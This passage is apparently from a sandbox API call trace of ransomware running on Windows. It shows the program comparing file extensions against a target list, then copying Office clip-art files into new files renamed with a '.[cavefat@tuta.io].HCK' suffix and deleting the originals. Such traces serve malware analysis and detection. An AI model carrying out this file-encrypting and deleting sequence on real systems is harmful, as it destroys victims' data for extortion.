lpString2="7.BMP") returned -1 [0165.561] lstrlenW (lpString=".pdf") returned 4 [0165.561] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.561] lstrlenW (lpString=".xls") returned 4 [0165.561] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.561] lstrlenW (lpString=".xlsx") returned 5 [0165.561] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0165.561] lstrlenW (lpString=".ppt") returned 4 [0165.561] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0165.561] lstrlenW (lpString=".zip") returned 4 [0165.561] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.561] lstrlenW (lpString=".rar") returned 4 [0165.562] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.562] lstrlenW (lpString=".bz2") returned 4 [0165.562] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.562] lstrlenW (lpString=".7z") returned 3 [0165.562] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0165.562] lstrlenW (lpString=".dbf") returned 4 [0165.562] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0165.562] lstrlenW (lpString=".1cd") returned 4 [0165.562] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0165.562] lstrlenW (lpString=".jpg") returned 4 [0165.562] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0165.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0165.562] lstrlenW (lpString=".doc") returned 4 [0165.562] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.562] lstrlenW (lpString=".docx") returned 5 [0165.562] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0165.562] lstrlenW (lpString=".pdf") returned 4 [0165.562] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.562] lstrlenW (lpString=".xls") returned 4 [0165.562] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.562] lstrlenW (lpString=".xlsx") returned 5 [0165.562] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0165.562] lstrlenW (lpString=".ppt") returned 4 [0165.562] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0165.562] lstrlenW (lpString=".zip") returned 4 [0165.562] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.562] lstrlenW (lpString=".rar") returned 4 [0165.562] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.562] lstrlenW (lpString=".bz2") returned 4 [0165.562] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.562] lstrlenW (lpString=".7z") returned 3 [0165.562] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0165.562] lstrlenW (lpString=".dbf") returned 4 [0165.562] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0165.562] lstrlenW (lpString=".1cd") returned 4 [0165.562] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0165.562] lstrlenW (lpString=".jpg") returned 4 [0165.562] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.562] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.562] lstrlenW (lpString="J0102594.WMF") returned 12 [0165.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.566] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=27000) returned 1 [0165.566] CloseHandle (hObject=0x390) returned 1 [0165.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220 [0165.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0165.578] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.578] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.587] GetLastError () returned 0x0 [0165.587] ReadFile (in: hFile=0x354, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x6978, lpOverlapped=0x0) returned 1 [0165.589] WriteFile (in: hFile=0x2e8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6980, lpOverlapped=0x0) returned 1 [0165.590] ReadFile (in: hFile=0x354, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.590] WriteFile (in: hFile=0x2e8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.591] SetEndOfFile (hFile=0x2e8) returned 1 [0165.594] CloseHandle (hObject=0x2e8) returned 1 [0165.595] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.595] SetEndOfFile (hFile=0x354) returned 1 [0165.601] CloseHandle (hObject=0x354) returned 1 [0165.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0165.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0165.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0165.615] lstrlenW (lpString=".doc") returned 4 [0165.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.615] lstrlenW (lpString=".docx") returned 5 [0165.615] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0165.615] lstrlenW (lpString=".pdf") returned 4 [0165.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.615] lstrlenW (lpString=".xls") returned 4 [0165.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.615] lstrlenW (lpString=".xlsx") returned 5 [0165.615] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0165.615] lstrlenW (lpString=".ppt") returned 4 [0165.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0165.615] lstrlenW (lpString=".zip") returned 4 [0165.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.615] lstrlenW (lpString=".rar") returned 4 [0165.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.615] lstrlenW (lpString=".bz2") returned 4 [0165.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.615] lstrlenW (lpString=".7z") returned 3 [0165.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0165.615] lstrlenW (lpString=".dbf") returned 4 [0165.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0165.616] lstrlenW (lpString=".1cd") returned 4 [0165.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0165.616] lstrlenW (lpString=".jpg") returned 4 [0165.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0165.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0165.616] lstrlenW (lpString=".doc") returned 4 [0165.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.616] lstrlenW (lpString=".docx") returned 5 [0165.616] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0165.616] lstrlenW (lpString=".pdf") returned 4 [0165.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.616] lstrlenW (lpString=".xls") returned 4 [0165.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.616] lstrlenW (lpString=".xlsx") returned 5 [0165.616] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0165.616] lstrlenW (lpString=".ppt") returned 4 [0165.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0165.616] lstrlenW (lpString=".zip") returned 4 [0165.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.616] lstrlenW (lpString=".rar") returned 4 [0165.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.616] lstrlenW (lpString=".bz2") returned 4 [0165.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.616] lstrlenW (lpString=".7z") returned 3 [0165.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0165.616] lstrlenW (lpString=".dbf") returned 4 [0165.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0165.616] lstrlenW (lpString=".1cd") returned 4 [0165.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0165.616] lstrlenW (lpString=".jpg") returned 4 [0165.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.616] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.616] lstrlenW (lpString="J0103812.WMF") returned 12 [0165.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0165.621] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5908) returned 1 [0165.621] CloseHandle (hObject=0x354) returned 1 [0165.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220 [0165.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.636] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.637] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.644] GetLastError () returned 0x0 [0165.644] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1714, lpOverlapped=0x0) returned 1 [0165.646] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1720, lpOverlapped=0x0) returned 1 [0165.647] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.647] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.647] SetEndOfFile (hFile=0x370) returned 1 [0165.653] CloseHandle (hObject=0x370) returned 1 [0165.655] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.655] SetEndOfFile (hFile=0x3ac) returned 1 [0165.655] CloseHandle (hObject=0x3ac) returned 1 [0165.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0165.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0165.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0165.658] lstrlenW (lpString=".doc") returned 4 [0165.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString=".docx") returned 5 [0165.658] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0165.658] lstrlenW (lpString=".pdf") returned 4 [0165.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString=".xls") returned 4 [0165.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.658] lstrlenW (lpString=".xlsx") returned 5 [0165.658] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0165.658] lstrlenW (lpString=".ppt") returned 4 [0165.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0165.658] lstrlenW (lpString=".zip") returned 4 [0165.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.658] lstrlenW (lpString=".rar") returned 4 [0165.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString=".bz2") returned 4 [0165.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString=".7z") returned 3 [0165.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0165.658] lstrlenW (lpString=".dbf") returned 4 [0165.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0165.658] lstrlenW (lpString=".1cd") returned 4 [0165.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0165.658] lstrlenW (lpString=".jpg") returned 4 [0165.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0165.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0165.658] lstrlenW (lpString=".doc") returned 4 [0165.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString=".docx") returned 5 [0165.658] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0165.658] lstrlenW (lpString=".pdf") returned 4 [0165.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString=".xls") returned 4 [0165.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.658] lstrlenW (lpString=".xlsx") returned 5 [0165.658] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0165.658] lstrlenW (lpString=".ppt") returned 4 [0165.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0165.658] lstrlenW (lpString=".zip") returned 4 [0165.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.658] lstrlenW (lpString=".rar") returned 4 [0165.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString=".bz2") returned 4 [0165.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.658] lstrlenW (lpString=".7z") returned 3 [0165.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0165.659] lstrlenW (lpString=".dbf") returned 4 [0165.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0165.659] lstrlenW (lpString=".1cd") returned 4 [0165.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0165.659] lstrlenW (lpString=".jpg") returned 4 [0165.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.659] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.659] lstrlenW (lpString="J0105232.WMF") returned 12 [0165.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0165.660] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5632) returned 1 [0165.660] CloseHandle (hObject=0x388) returned 1 [0165.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220 [0165.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0165.673] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.673] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.678] GetLastError () returned 0x0 [0165.678] ReadFile (in: hFile=0x354, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1600, lpOverlapped=0x0) returned 1 [0165.682] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1610, lpOverlapped=0x0) returned 1 [0165.683] ReadFile (in: hFile=0x354, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.683] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.683] SetEndOfFile (hFile=0x308) returned 1 [0165.685] CloseHandle (hObject=0x308) returned 1 [0165.686] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.686] SetEndOfFile (hFile=0x354) returned 1 [0165.691] CloseHandle (hObject=0x354) returned 1 [0165.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0165.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0165.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0165.699] lstrlenW (lpString=".doc") returned 4 [0165.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.699] lstrlenW (lpString=".docx") returned 5 [0165.699] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0165.699] lstrlenW (lpString=".pdf") returned 4 [0165.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.699] lstrlenW (lpString=".xls") returned 4 [0165.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.699] lstrlenW (lpString=".xlsx") returned 5 [0165.699] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0165.699] lstrlenW (lpString=".ppt") returned 4 [0165.699] lstrcmpiW (lpString1=".ppt", 